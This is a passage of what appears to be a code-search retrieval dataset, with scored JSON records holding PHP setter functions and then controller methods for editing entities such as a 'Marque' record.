"ceda4a2b2c91280aa641cf8df23c5175", "score": "0.65994537", "text": "abstract public function setIdentifierKey($key);", "title": "" }, { "docid": "455afc25aa849cc1452bfc0d367d9457", "score": "0.64879835", "text": "public function set($keyObject, $value);", "title": "" }, { "docid": "a063741970e143341ece6dc5ca26215e", "score": "0.6477223", "text": "private function setKey( $key )\n {\n $this->collection[self::key] = $key;\n }", "title": "" }, { "docid": "e2fb580131cb016d6d78cca2c615ef7d", "score": "0.6475908", "text": "function setKey ($newkey) {\n\t\t$this->cifrador->setKey($newkey);\n\t\t$this->key = $newkey;\n\t}", "title": "" }, { "docid": "4eff3d6bf6a9c6ff1246645d49f4039f", "score": "0.64589995", "text": "public function set($key, $value);", "title": "" }, { "docid": "4eff3d6bf6a9c6ff1246645d49f4039f", "score": "0.64589995", "text": "public function set($key, $value);", "title": "" }, { "docid": "4eff3d6bf6a9c6ff1246645d49f4039f", "score": "0.64589995", "text": "public function set($key, $value);", "title": "" }, { "docid": "4eff3d6bf6a9c6ff1246645d49f4039f", "score": "0.64589995", "text": "public function set($key, $value);", "title": "" }, { "docid": "4eff3d6bf6a9c6ff1246645d49f4039f", "score": "0.64589995", "text": "public function set($key, $value);", "title": "" }, { "docid": "4eff3d6bf6a9c6ff1246645d49f4039f", "score": "0.64589995", "text": "public function set($key, $value);", "title": "" }, { "docid": "4eff3d6bf6a9c6ff1246645d49f4039f", "score": "0.64589995", "text": "public function set($key, $value);", "title": "" }, { "docid": "4eff3d6bf6a9c6ff1246645d49f4039f", "score": "0.64589995", "text": "public function set($key, $value);", "title": "" }, { "docid": "4eff3d6bf6a9c6ff1246645d49f4039f", "score": "0.64589995", "text": "public function set($key, $value);", "title": "" }, { "docid": "4eff3d6bf6a9c6ff1246645d49f4039f", "score": "0.64589995", "text": "public function set($key, $value);", "title": "" }, { "docid": "4eff3d6bf6a9c6ff1246645d49f4039f", "score": "0.64589995", "text": "public function set($key, $value);", "title": "" }, { "docid": "29871b6ff8fd555b1f871f4a673a3bc8", "score": "0.64568734", "text": "public function set(string $key, string $value);", "title": "" }, { "docid": "bb9303cee07d76bc6fa557599e840e09", "score": "0.64525795", "text": "public function set(string $key, $value);", "title": "" }, { "docid": "ee663403ab22025e214167cf8303138d", "score": "0.64510995", "text": "abstract public function set($key, $value = null);", "title": "" }, { "docid": "e6c9e065966a903a7ab86a6cea7576e1", "score": "0.6434752", "text": "public function __set($key, $value) {\n\t\t$this->key = $value;\n\t}", "title": "" }, { "docid": "1fa0a4aab203501f0230672dc800b3bc", "score": "0.6424596", "text": "public function setValue($key, $value);", "title": "" }, { "docid": "0df79e9c1ad685bb3897a89ca2543b34", "score": "0.63803566", "text": "public function setModelByKey(string $key, $value): self;", "title": "" }, { "docid": "5ed43c03c97cb1f04cb352176fa69e44", "score": "0.6373356", "text": "public function setData($key, $value);", "title": "" }, { "docid": "70218ebb16659f7f0cb88b279b9c0139", "score": "0.63669604", "text": "public function setKey($key)\n {\n $this->commandData['key'] = $key;\n }", "title": "" }, { "docid": "f30759085bc4023c05e58db673b192dd", "score": "0.63540757", "text": "function setKey($key) {\n parent::setKey(substr($key, 0, 256));\n }", "title": "" }, { "docid": "8457358d15eb7513b3fe6dd7f53d0888", "score": "0.63470525", "text": "function SetKey($val)\n\t{\n\t\t$this->sKey=$val;\n\t}", "title": "" }, { "docid": "a7d7c44dea1d2b9cdc6df7e8665df520", "score": "0.632679", "text": "public function set($key, Meta $meta);", "title": "" }, { "docid": "059117ca4ef1b8abfbf16ca39cc67a0c", "score": "0.6312887", "text": "function setValue($key, $data)\r\n {\r\n $this->_record[$key] = $data;\r\n }", "title": "" }, { "docid": "bfa1c2bedcfd20ace833a6d1e3989172", "score": "0.63118166", "text": "function _setKey($key, $data)\n\t{\n\t\t$user = & self::getUser();\n\t\t$user->setAndSaveSessionData($key, $data);\n\t}", "title": "" }, { "docid": "a3161906a6518e7ff3625045361448a6", "score": "0.6307034", "text": "public function setKey($key)\n {\n return $this->key = $key;\n }", "title": "" }, { "docid": "a3161906a6518e7ff3625045361448a6", "score": "0.6307034", "text": "public function setKey($key)\n {\n return $this->key = $key;\n }", "title": "" }, { "docid": "a3161906a6518e7ff3625045361448a6", "score": "0.6307034", "text": "public function setKey($key)\n {\n return $this->key = $key;\n }", "title": "" }, { "docid": "fca5d80c968a1733a6ef9c10e0b096e6", "score": "0.6299203", "text": "public function setKey(string $key)\n {\n $this->key = $key;\n }", "title": "" }, { "docid": "f57bec0b5964008fbdc43094718f1847", "score": "0.62645686", "text": "public function setKeyProperty($kp){\r\n\t\t\r\n\t\t$this->KeyProperty = $kp;\r\n\t\t\r\n\t}", "title": "" }, { "docid": "e76103c8ee6436f67214d9cc80c58e09", "score": "0.6238281", "text": "function setKey($key) {\n\t\t$this->key = $key;\n\t\treturn $this;\n\t}", "title": "" }, { "docid": "1a3e190ad43f6ce81647d76f01f574df", "score": "0.62367487", "text": "function __set($key, $value)\n {\n $this->fDebug->add(get_class($this) . \": Validating $key against ValidEntities for assignment.\", 8);\n if ( array_search($key, $this->validEntities) === false )\n {\n $this->fDebug->add(get_class($this) . ': Attempt to set an invalid key: ' . $key, 4);\n throw new Exception('Attempt to set an invalid ' . get_class($this) . ' entity.', 0);\n }\n $this->entity[$key] = $value;\n\n // Hide passwords\n if ( $key == \"password\" ) $value = \"*** masked ***\";\n $this->fDebug->add(get_class($this) . \": Setting $key = $value\", 6);\n }", "title": "" }, { "docid": "6d110d9e88fdfa7c1436454158b49f9b", "score": "0.61821854", "text": "public function __set($key, $value)\n {\n if (preg_match('/custom_field_(\\d+)/', $key, $bidData)) {\n $value2 = $this->getCustomFieldValues()->get($bidData[1], true);\n $value2->setValue($value);\n }\n }", "title": "" }, { "docid": "76a694d7d20ad27ca8f8862a675ee16c", "score": "0.61817855", "text": "public function set(string $key, $value): void;", "title": "" }, { "docid": "915bcd51f742038aad61c8ac588c8754", "score": "0.61796606", "text": "public function setKey($key)\n {\n $this->fields['key'] = $key;\n return $this;\n }", "title": "" }, { "docid": "ad4a04bf8ddc26692394ca6faa2b0e6e", "score": "0.6176162", "text": "#[\\Relay\\Attributes\\RedisCommand]\n public function set(mixed $key, mixed $value, mixed $options = null): mixed {}", "title": "" }, { "docid": "4eaf48a33af9cf2395cc816747ea2ee0", "score": "0.6173423", "text": "public function __set($key, $value)\n {\n }", "title": "" }, { "docid": "861469800ff03d973fb2bd20b7177e6b", "score": "0.6165878", "text": "public function set(string $key, $value):void;", "title": "" }, { "docid": "f6f652c8daf47f6e48918946ed32ddf2", "score": "0.61644906", "text": "public function __set(string $key, string $value) {\n\n\n $methodName = \"set\".$key;\n\n if(method_exists($this,$methodName)) \n $this->$methodName($value);\n\n}", "title": "" }, { "docid": "331f7485c4f12cc09c765ce210fc49aa", "score": "0.61625296", "text": "function set($key, $value);", "title": "" }, { "docid": "e5bdaa82efb4b9670c9b2c326d069d0e", "score": "0.61400294", "text": "function set($key, $value)\n {\n }", "title": "" }, { "docid": "70db35ceade32f0987b58fcb823dc36f", "score": "0.6121847", "text": "public function setPrimaryKey($key)\n {\n $this->setPregCodigo($key);\n }", "title": "" }, { "docid": "32cae1be7352f73fd31e9a821eafe080", "score": "0.61117744", "text": "protected function setKey($key){\n $this->key = $key;\n return $this;\n }", "title": "" }, { "docid": "72a46b40a6285d9b9a8003c1007712b7", "score": "0.60934824", "text": "public function __set($key, $value) \n {\n $setter = 'set' . str_replace(' ', '', ucwords(str_replace('_', ' ', $key)));\n if (method_exists($this, $setter ))\n $this->$setter($value);\t \n else\t\t \n $this->$key = $value;\n }", "title": "" }, { "docid": "144ff70074952622f8605f1bcf1c07b9", "score": "0.6087484", "text": "public function setKey($Key)\n {\n $this->__set(\"key\", $Key);\n }", "title": "" }, { "docid": "2e1c1c68dd9570c4b67e5bb4772ed98c", "score": "0.60864806", "text": "public function setKey($key) {\r\n\t\t$this->_key = $key;\r\n\t\treturn $this;\r\n\t}", "title": "" }, { "docid": "cc4e36b514eb0089685468c7e98c3ee7", "score": "0.60372055", "text": "abstract public function Set($strKey, $objValue);", "title": "" }, { "docid": "e83759c8723f9002d9531ac9d45ff3c5", "score": "0.6030833", "text": "public function setKey($key)\n {\n $this->_key = $key;\n return $this;\n }", "title": "" }, { "docid": "08b4a38fca1d6cc3263da6499ab6457b", "score": "0.60238767", "text": "public function setkey($key)\n\t{\n\t\t# Check if the passed value is empty.\n\t\tif(!empty($key) OR ($key===0))\n\t\t{\n\t\t\t# Set the data member.\n\t\t\t$this->key=$key;\n\t\t}\n\t\telse\n\t\t{\n\t\t\t# Explicitly set the data member to blank ('').\n\t\t\t$this->key='';\n\t\t}\n\t}", "title": "" }, { "docid": "284bb4ddf3ffd5bf572bbd55142430e1", "score": "0.6008054", "text": "function set($key, $value)\n {\n $this->saveElement($value);\n }", "title": "" }, { "docid": "7ba60da5efeb3c160a3fb3d29707c042", "score": "0.60039926", "text": "public function setKey(string $key) : self\n {\n $this->initialized['key'] = true;\n $this->key = $key;\n return $this;\n }", "title": "" }, { "docid": "25acbb8fbcebf8e54fd9d808994c3ada", "score": "0.5991026", "text": "public function save($key = NULL) {\n\n // Determine whether or not we're updating\n $data = ($this->_loaded OR $key) ? $this->_changed : $this->_changed + $this->_original;\n\n if (!is_null($key)) {\n // There are no rules for this since it is a meta alias and not an actual field\n // but adding it allows us to check for uniqueness when lazy saving\n $data[':unique_key'] = $key;\n }\n\n // Set the key to our id if it isn't set\n if ($this->_loaded) {\n $key = $this->_original[$this->_meta->primary_key()];\n }\n\n // Run validation\n $data = $this->validate($data);\n\n // These will be processed later\n $values = $relations = array();\n\n // Iterate through all fields in original incase any unchanged fields\n // have save() behavior like timestamp updating...\n foreach ($this->_changed + $this->_original as $column => $value)\n {\n // Filters may have been applied to data, so we should use that value\n if (array_key_exists($column, $data)) {\n $value = $data[$column];\n }\n\n $field = $this->_meta->fields($column);\n\n // Only save in_db values\n if ($field->in_db) {\n // See if field wants to alter the value on save()\n $value = $field->save($this, $value, (bool) $key);\n\n if ($value !== $this->_original[$column]) {\n // Value has changed (or has been changed by field:save())\n $values[$field->name] = $value;\n }\n else\n {\n // Insert defaults\n if (!$key AND !$this->changed($field->name) AND !$field->primary) {\n $values[$field->name] = $field->default;\n }\n }\n }\n elseif ($this->changed($column) AND $field instanceof Jelly_Field_Behavior_Saveable)\n {\n $relations[$column] = $value;\n }\n }\n\n // If we have a key, we're updating\n if ($key) {\n // Do we even have to update anything in the row?\n if ($values) {\n Jelly::update($this)\n ->where(':unique_key', '=', $key)\n ->set($values)\n ->execute();\n }\n }\n else\n {\n list($id) = Jelly::insert($this)\n ->columns(array_keys($values))\n ->values(array_values($values))\n ->execute();\n\n // Black magic\n if (!$id) {\n\n if (!isset($this->_meta->sequence)) {\n $sequence = $this->_meta->table() . \"_\" . $this->_meta->fields($this->_meta->primary_key())->column . \"_seq\";\n } else {\n $sequence = $this->_meta->sequence;\n }\n\n $db = new DB();\n $query = \"SELECT currval(:sequence)\";\n\n $currval = $db->query(Database::SELECT, $query)\n ->parameters(array(':sequence' => $sequence))\n ->execute();\n\n $currval = $currval->get('currval');\n\n $id = $currval;\n }\n\n // Gotta make sure to set this\n $this->_changed[$this->_meta->primary_key()] = $id;\n }\n\n // Reset the saved data, since save() may have modified it\n $this->set($values);\n\n // Make it appear as original data instead of changed\n $this->_original = array_merge($this->_original, $this->_changed);\n\n // We're good!\n $this->_loaded = $this->_saved = TRUE;\n $this->_retrieved = $this->_changed = array();\n\n // Save the relations\n foreach ($relations as $column => $value)\n {\n $this->_meta->fields($column)->save($this, $value, (bool) $key);\n }\n\n return $this;\n }", "title": "" }, { "docid": "118bccbe3127c2450b7635a248175542", "score": "0.5990976", "text": "final public function set_record($key, $data)\r\n\t{\r\n\t\t$this->record->set('data.'.$key, $data);\r\n\t}", "title": "" }, { "docid": "793101a585706d3ff7059edfa421040b", "score": "0.59810996", "text": "public function setData($key, $value = null);", "title": "" }, { "docid": "2fdcfbe260e744d38e4239522dcc44ed", "score": "0.5974425", "text": "public function persist($key);", "title": "" }, { "docid": "57de2e260e1f1ec8dc78822d312d10c2", "score": "0.5964902", "text": "public function __set( $key, $value ){\n\t \t $this->attrs[$key] = $value;\n\t }", "title": "" }, { "docid": "e9b1a87ce8a277a1d64666905441461d", "score": "0.5963684", "text": "public function setKey($key)\n {\n $this->key = $key;\n return $this;\n }", "title": "" }, { "docid": "5f2382ec9b75fe4162fcf33ebe248ad8", "score": "0.5961988", "text": "public function setPrimaryKey($key)\n {\n $this->setIdTanah($key);\n }", "title": "" }, { "docid": "273ede8788738eb24c12f190bbd7ab91", "score": "0.5959272", "text": "public function set($key, $value)\n {\n }", "title": "" }, { "docid": "fdefdff563c0c3097d69f2d613502c51", "score": "0.5956779", "text": "public function set($key, $element);", "title": "" }, { "docid": "fa0f9e916d63007d257020f39321c504", "score": "0.59555024", "text": "abstract public function setPredefinedKeyValue($key, $value);", "title": "" }, { "docid": "555370955bee9a8a6689eca972f63e05", "score": "0.5952377", "text": "function set($key, $value){\n $this->data[$key] = $value; \n }", "title": "" }, { "docid": "e19ab45df81be113f9d20df34591e5c7", "score": "0.5952024", "text": "public function set($key, $value = null);", "title": "" }, { "docid": "8d6be5b7bc4203a228d9b199c2c5e560", "score": "0.5949937", "text": "public function &set( $key, $value )\n {\n if ( !is_string( $key ) )\n throw new Core\\Exception( 'set() key must be a valid string.' );\n\n $model = $this->model;\n if ( $this->hasModel() && $model::hasField( $key ) )\n $this->_DATA [ $this->antiQuote( $this->escape( $key ) ) ] = $model::getField( $key )->prepare( $this->escape( $value ) );\n else\n $this->_DATA [ $this->antiQuote( $this->escape( $key ) ) ] = $this->quote( $this->escape( $value ) );\n\n return $this;\n }", "title": "" }, { "docid": "112d1626389902cc076af2e0c08dd817", "score": "0.59400624", "text": "public function setKey($key)\n {\n $this->key = $key;\n $this->persistent = false;\n\n return $this;\n }", "title": "" }, { "docid": "29d4c5408c83cba8fc620626d2afa666", "score": "0.59372395", "text": "public function set_expr($key,$value) {\n $this->table->set_expr($key,$value);\n }", "title": "" }, { "docid": "c8865505490e718bdc527cba423b1a7c", "score": "0.5920655", "text": "public function setPrimaryKey($key)\n\t{\n\t\t$this->setId($key);\n\t}", "title": "" }, { "docid": "c8865505490e718bdc527cba423b1a7c", "score": "0.5920655", "text": "public function setPrimaryKey($key)\n\t{\n\t\t$this->setId($key);\n\t}", "title": "" }, { "docid": "c8865505490e718bdc527cba423b1a7c", "score": "0.5920655", "text": "public function setPrimaryKey($key)\n\t{\n\t\t$this->setId($key);\n\t}", "title": "" }, { "docid": "c8865505490e718bdc527cba423b1a7c", "score": "0.5920655", "text": "public function setPrimaryKey($key)\n\t{\n\t\t$this->setId($key);\n\t}", "title": "" }, { "docid": "c8865505490e718bdc527cba423b1a7c", "score": "0.5920655", "text": "public function setPrimaryKey($key)\n\t{\n\t\t$this->setId($key);\n\t}", "title": "" } ]
8d71f897ada8b7b80f5035944dd5bc8b
Edits an existing Marque entity.
[ { "docid": "6d2114c4cdb4ac91e44e2068c3ed04eb", "score": "0.61078435", "text": "public function updateAction(Request $request, $id)\n {\n $em = $this->getDoctrine()->getManager();\n\n $entity = $em->getRepository('TroiswaBackBundle:Marque')->find($id);\n\n if (!$entity) {\n throw $this->createNotFoundException('Unable to find Marque entity.');\n }\n\n $deleteForm = $this->createDeleteForm($id);\n $editForm = $this->createEditForm($entity);\n $editForm->handleRequest($request);\n\n if ($editForm->isValid()) {\n $em->flush();\n\n return $this->redirect($this->generateUrl('marque_edit', array('id' => $id)));\n }\n\n return $this->render('TroiswaBackBundle:Marque:edit.html.twig', array(\n 'entity' => $entity,\n 'edit_form' => $editForm->createView(),\n 'delete_form' => $deleteForm->createView(),\n ));\n }", "title": "" } ]
[ { "docid": "6056e3911e0cf6d4d89420b395521b34", "score": "0.647113", "text": "public function edit($entity)\n {\n $entity->save();\n }", "title": "" }, { "docid": "731233e829408fad8ca1941e7e270708", "score": "0.63848186", "text": "public function edit(Marca $marca)\n {\n //\n }", "title": "" }, { "docid": "72b580a4451093a6d46e999191b2a688", "score": "0.63517034", "text": "public function edit(Miembro $miembro)\n {\n //\n }", "title": "" }, { "docid": "dfbae1c76e8376876e167bfdda34a588", "score": "0.6315069", "text": "public function edit($entity);", "title": "" }, { "docid": "0a900001452f29e7ec4d5ead87c03912", "score": "0.6217128", "text": "public function edit(marcas $marcas)\n {\n //\n }", "title": "" }, { "docid": "5dbe64d2729d59d1c435c412d6b015e3", "score": "0.61426324", "text": "public function edit(marca $marca)\n {\n //\n }", "title": "" }, { "docid": "bd2d8059ebe246e24838ca829950c25a", "score": "0.6142001", "text": "public function edit(Modelo $modelo)\n {\n //\n }", "title": "" }, { "docid": "e02fac301eb910e5bb1d8a7ff9d428fb", "score": "0.6115345", "text": "public function editAction($id)\n {\n $em = $this->getDoctrine()->getManager();\n\n $entity = $em->getRepository('TroiswaBackBundle:Marque')->find($id);\n\n if (!$entity) {\n throw $this->createNotFoundException('Unable to find Marque entity.');\n }\n\n $editForm = $this->createEditForm($entity);\n $deleteForm = $this->createDeleteForm($id);\n\n return $this->render('TroiswaBackBundle:Marque:edit.html.twig', array(\n 'entity' => $entity,\n 'edit_form' => $editForm->createView(),\n 'delete_form' => $deleteForm->createView(),\n ));\n }", "title": "" }, { "docid": "5e6c36ae976a6b519692d1daa687e7c4", "score": "0.6007826", "text": "public function edit(Entity $entity)\n {\n //\n }", "title": "" }, { "docid": "592e4a1f4b8139fb8ac70f20f4ad2f79", "score": "0.59821844", "text": "public function edit(Postagem $postagem)\n {\n //\n }", "title": "" }, { "docid": "8b7fd5ba95030e0e724a3d8793c00d48", "score": "0.59544307", "text": "public function edit(Mahasiswa $mahasiswa)\n {\n //\n }", "title": "" }, { "docid": "2ef5b3965b569bcc96326f290c506753", "score": "0.5943334", "text": "public function edit(Mayorgasto $mayorgasto)\n {\n //\n }", "title": "" }, { "docid": "780c03e6c8fd3ebffd9a0805cbe2d7d3", "score": "0.59376544", "text": "private function createEditForm(Marque $entity)\n {\n $form = $this->createForm(new MarqueType(), $entity, array(\n 'action' => $this->generateUrl('marque_update', array('id' => $entity->getId())),\n 'method' => 'PUT',\n ));\n\n $form->add('submit', 'submit', array('label' => 'Update'));\n\n return $form;\n }", "title": "" }, { "docid": "8e64b63a161a37afcd3bec282fbcb633", "score": "0.59365547", "text": "public function edit(TrabajoMaterial $trabajoMaterial)\n {\n //\n }", "title": "" }, { "docid": "b5ff3c61fd54deb29ebe1963c5fc9142", "score": "0.59169763", "text": "public function editar(){\n\t\t$query = \"update produto set nome = :nome, descricao = :descricao, imagem = :imagem, preco = :preco, promocao = :promocao, tipo = :tipo where idproduto = :idproduto\";\n\n\t\t$stmt = $this->db->prepare($query);\n\t\t\n\t\t$stmt->bindValue(':idproduto', $this->__get('id'));\n\t\t$stmt->bindValue(':nome', $this->__get('nome'));\n\t\t$stmt->bindValue(':descricao', $this->__get('descricao'));\n\t\t$stmt->bindValue(':imagem', $this->__get('imagem'));\n\t\t$stmt->bindValue(':preco', $this->__get('preco'));\n\t\t$stmt->bindValue(':promocao', $this->__get('promocao'));\n\t\t$stmt->bindValue(':tipo', $this->__get('tipo'));\n\n\t\t$stmt->execute();\n\n\t}", "title": "" }, { "docid": "7121ccfe211b69036fcbf6dfb9035107", "score": "0.589513", "text": "abstract public function alterEntity();", "title": "" }, { "docid": "30f04b926ce41a02f7d7f44b54698742", "score": "0.5894766", "text": "public function edit(Aglomerado $aglomerado)\n {\n //\n }", "title": "" }, { "docid": "b3055f4bd3e15e3d35501a2a370fa9b7", "score": "0.58770084", "text": "function edit(){\n\t\t$this->page_title = sprintf(_(\"Editing the creature #%s\"),$this->creature->getId());\n\n\t\t$this->form = Atk14Form::GetForm(\"CreateNewForm\");\n\t\t$this->form->set_initial($this->creature);\n\n\t\tif($this->request->post() && ($d = $this->form->validate($this->params))){\n\t\t\t$this->creature->s($d);\n\t\t\t$this->flash->success(_(\"The creature has been changed successfuly.\"));\n\t\t\t$this->_redirect_to_action(\"index\");\n\t\t}\n\t}", "title": "" }, { "docid": "ab881c5f421eeaa9d2c0390a514e9812", "score": "0.587012", "text": "public function executeEdit()\n {\n $this->material = MaterialPeer::retrieveByPk($this->getRequestParameter('id'));\n $this->forward404Unless($this->material);\n $this->langs = sfConfig::get('app_lang_array', array('es'));\n\n $this->default_sel = 'url';\n }", "title": "" }, { "docid": "2115af8575538832dc19672cb295833d", "score": "0.5863456", "text": "public function edit(BarangMasuk $barangMasuk)\n {\n //\n }", "title": "" }, { "docid": "c8cdbbe67aaeb3a6270fc7b07602408a", "score": "0.5852866", "text": "public function edit($id)\n {\n //\n $marque = Marque::where('id', $id)->first();\n // dd($marque);\n return view('updateMarque', compact('marque')); \n }", "title": "" }, { "docid": "5a73b8e4f4ab7ec53525482f908cd89f", "score": "0.5821237", "text": "abstract public function edit();", "title": "" }, { "docid": "ad03063a65dd6ac9529a551c42b31ea3", "score": "0.5817251", "text": "public function edit(Scene $scene)\n {\n //\n }", "title": "" }, { "docid": "725d49915b1ba104e7ebbae216ded240", "score": "0.58155274", "text": "public function edit(MateriaprimaModel $materiaprima)\n {\n //\n }", "title": "" }, { "docid": "61a85e00f1c0a4bb694fec5a4d95c02d", "score": "0.5800323", "text": "public function update(Request $request, $id)\n {\n //\n $request->validate([\n 'name' => 'required',\n ]);\n\n // dd($id);\n $marque = Marque::where('id', $id)->first();\n $marque->name = $request->name;\n $marque->save();\n\n return redirect('/admin/marques')\n ->with('success','Votre marque à bien été modifié!');\n }", "title": "" }, { "docid": "51b39312461dbbf47b1c120a380fec45", "score": "0.5767744", "text": "public function edit(Movimientosempleado $movimientosempleado) {\n //\n }", "title": "" }, { "docid": "3b6c3aaa23b4fb918ebc093545c13dc6", "score": "0.5738786", "text": "public function update($entity);", "title": "" }, { "docid": "d473018001384f7a2722a45c8bb0766d", "score": "0.5732682", "text": "public function updateM(){\n \n // Vérifier que les informations envoyées par le formulaire sont correctes\n $validationAttributes = $this->validate();\n\n\n Modele::find($this->editModel[\"id\"])->update($validationAttributes[\"editModel\"]);\n\n $this->dispatchBrowserEvent(\"showSuccessMessage\", [\"message\"=>\"Modele mis à jour avec succès!\"]);\n}", "title": "" }, { "docid": "ff999ab8612b0826c32c90836c00c237", "score": "0.5715796", "text": "public function edit(MetodoPago $metodosago)\n {\n //\n }", "title": "" }, { "docid": "494c2611242a0db751330aaa947819cf", "score": "0.57137644", "text": "public function edit(Quotes $quote)\r\n {\r\n //\r\n }", "title": "" }, { "docid": "81294a9ee2edc9b3032c8d2fcb131a6c", "score": "0.5703477", "text": "public function edit(Consequence $consequence)\n {\n //\n }", "title": "" }, { "docid": "418c554fdd9d407df2b735ddd381fe00", "score": "0.56898713", "text": "public function updateAction(Request $request, $id)\n {\n $em = $this->getDoctrine()->getManager();\n\n $entity = $em->getRepository('medaSysAOBundle:marche')->find($id);\n\n if (!$entity) {\n throw $this->createNotFoundException('Unable to find marche entity.');\n }\n\n $deleteForm = $this->createDeleteForm($id);\n $editForm = $this->createEditForm($entity);\n $editForm->handleRequest($request);\n\n if ($editForm->isValid()) {\n $em->flush();\n\n return $this->redirect($this->generateUrl('marche_edit', array('id' => $id)));\n }\n\n return $this->render('medaSysAOBundle:marche:edit.html.twig', array(\n 'entity' => $entity,\n 'edit_form' => $editForm->createView(),\n 'delete_form' => $deleteForm->createView(),\n ));\n }", "title": "" }, { "docid": "c425b65987722f59f54e633d94ae1477", "score": "0.56890625", "text": "private function edit_job()\n {\n $job = Job::where(\"id\", \"=\", request()->job_id)->first();\n $job->priority_id = request()->priority_id;\n $job->title = request()->title;\n $job->description = request()->description;\n $job->due_date = request()->due_date;\n $job->amount_due = request()->amount_due;\n $job->amount_paid = request()->amount_paid;\n\n if (isset(request()->archive)) {\n $job->archive = request()->archive;\n } else {\n $job->archive = 0;\n }\n\n if (isset(request()->signed)) {\n $job->signed = request()->signed;\n } else {\n $job->signed = 0;\n }\n\n $job->update();\n }", "title": "" }, { "docid": "c15f002c0cfa1e7435db00cba38b212a", "score": "0.5683045", "text": "public function edit(Query $query)\n {\n //\n }", "title": "" }, { "docid": "99ee269835f5fbb69e201fafae044054", "score": "0.567806", "text": "public function edit(Milestone $milestone)\n {\n //\n }", "title": "" }, { "docid": "9b412839f9cffbc82f8d5384346d4b6c", "score": "0.5671103", "text": "public function edit(ApiMasakan $apiMasakan)\n {\n //\n }", "title": "" }, { "docid": "8036d8b9819aa701c22431a726cf0650", "score": "0.5670776", "text": "public function editAction()\n {\n $page = $this->_helper->db->findById();\n $form = $this->_getForm($page);\n $this->view->form = $form;\n $this->_processFieldForm($page, $form, 'edit');\n }", "title": "" }, { "docid": "ae1c66cb5eee5eabc8f537841f89b973", "score": "0.5669546", "text": "public function updateAction(Request $request, $id)\n{\n $em = $this->getDoctrine()->getManager();\n\n $entity = $em->getRepository('gemaBundle:Compra')->find($id);\n\n if (!$entity) {\n throw $this->createNotFoundException('Unable to find Compra entity.');\n }\n\n $deleteForm = $this->createDeleteForm($id);\n $editForm = $this->createEditForm($entity);\n $editForm->handleRequest($request);\n $accion = ' ';\n $this->get(\"gema.utiles\")->traza($accion);\n $em->flush();\n\n \n \n\n \n return $this->redirect($this->generateUrl('compra_edit', array('id' => $id)));\n \n}", "title": "" }, { "docid": "2c1b0f2f17f4d6741ac3bb0216348240", "score": "0.56678677", "text": "public function edit(Kecamatan $kecamatan)\n {\n //\n }", "title": "" }, { "docid": "0a31b9b3801c0252e9b68497032cb936", "score": "0.5664873", "text": "public function edit(Question $question) {\n //\n }", "title": "" }, { "docid": "ce32c69a2de8fec6a9133dbba580dfcd", "score": "0.5660416", "text": "public function edit(LaporanMasuk $laporanMasuk)\n {\n //\n }", "title": "" }, { "docid": "fdb87a5a7edced9114d179788295b2af", "score": "0.5648759", "text": "private function Update(){\n $Update = new Update();\n $Update->ExeUpdate(self::Entity,$this->Data,\"WHERE id = :id\",\"id={$this->Id}\");\n if($Update->getResult()):\n $this->Msg = \"<p><b>Editado com sucesso</b>A Tarefa {$this->Data['name']} foi Editada com sucesso</p>\";\n else:\n $this->Msg = \"<p><b>Erro ao Editar</b>Erro no sistema Volte mais Tarde</p>\";\n endif;\n\n }", "title": "" }, { "docid": "1326863d413e9d283d3fb946787717a0", "score": "0.56348354", "text": "public function editar()\n {\n }", "title": "" }, { "docid": "1326863d413e9d283d3fb946787717a0", "score": "0.56348354", "text": "public function editar()\n {\n }", "title": "" }, { "docid": "e2edd2f3a8d07b82829547882615dae6", "score": "0.5634324", "text": "public function edit()\n {\n //Não usa\n }", "title": "" }, { "docid": "04873d8e98cbbe24821e27f8624ff6d8", "score": "0.5631166", "text": "public function edit(Content $content)\n {\n \n }", "title": "" }, { "docid": "0f0889817cd4c2a52a5aba5976c13789", "score": "0.56276", "text": "public function edit(Question $question)\n {\n //\n }", "title": "" }, { "docid": "0f0889817cd4c2a52a5aba5976c13789", "score": "0.56276", "text": "public function edit(Question $question)\n {\n //\n }", "title": "" }, { "docid": "0f0889817cd4c2a52a5aba5976c13789", "score": "0.56276", "text": "public function edit(Question $question)\n {\n //\n }", "title": "" }, { "docid": "0f0889817cd4c2a52a5aba5976c13789", "score": "0.56276", "text": "public function edit(Question $question)\n {\n //\n }", "title": "" }, { "docid": "0f0889817cd4c2a52a5aba5976c13789", "score": "0.56276", "text": "public function edit(Question $question)\n {\n //\n }", "title": "" }, { "docid": "0f0889817cd4c2a52a5aba5976c13789", "score": "0.56276", "text": "public function edit(Question $question)\n {\n //\n }", "title": "" }, { "docid": "0f0889817cd4c2a52a5aba5976c13789", "score": "0.56276", "text": "public function edit(Question $question)\n {\n //\n }", "title": "" }, { "docid": "0f0889817cd4c2a52a5aba5976c13789", "score": "0.56276", "text": "public function edit(Question $question)\n {\n //\n }", "title": "" }, { "docid": "0f0889817cd4c2a52a5aba5976c13789", "score": "0.56276", "text": "public function edit(Question $question)\n {\n //\n }", "title": "" }, { "docid": "e67583cc1814c41b34a633dc526b5088", "score": "0.5626787", "text": "public function edit(Faq $faq)\n {\n //\n }", "title": "" }, { "docid": "e67583cc1814c41b34a633dc526b5088", "score": "0.5626787", "text": "public function edit(Faq $faq)\n {\n //\n }", "title": "" }, { "docid": "e67583cc1814c41b34a633dc526b5088", "score": "0.5626787", "text": "public function edit(Faq $faq)\n {\n //\n }", "title": "" }, { "docid": "f8149b3d4ee0d540deb2283a8bc65777", "score": "0.5621714", "text": "public function edit(Comentar $comentar)\n {\n //\n }", "title": "" }, { "docid": "985720608d27b412f8fcb536b260fedb", "score": "0.5621194", "text": "public function edit(Material $material)\n {\n //\n }", "title": "" }, { "docid": "985720608d27b412f8fcb536b260fedb", "score": "0.5621194", "text": "public function edit(Material $material)\n {\n //\n }", "title": "" }, { "docid": "22fea1072e5945c60aa73f914b602b15", "score": "0.5619845", "text": "public function edit(Qutes $qutes)\n {\n \n }", "title": "" }, { "docid": "f457a7aac87ab5b3de5b0f6358698582", "score": "0.5610104", "text": "public function edit(Form $form)\n {\n \n }", "title": "" }, { "docid": "8a8e68beaeabe1434dccfe2a30e32ffd", "score": "0.5601615", "text": "public function edit(Empresa $empresa)\n {\n //\n }", "title": "" }, { "docid": "8a8e68beaeabe1434dccfe2a30e32ffd", "score": "0.5601615", "text": "public function edit(Empresa $empresa)\n {\n //\n }", "title": "" }, { "docid": "5b81744dd2830186488caa668a2dae06", "score": "0.55970573", "text": "public function putAction() {\n // nacteni mikroskopu\n $microscope = self::findByTag($this->_request->getParam(\"tag\"));\n $form = new Application_Form_Microscope();\n $form->setAction($this->view->url($this->_request->getParams(), \"microscope-put\"));\n \n if ($this->_request->isPost()) {\n // validace formulare\n 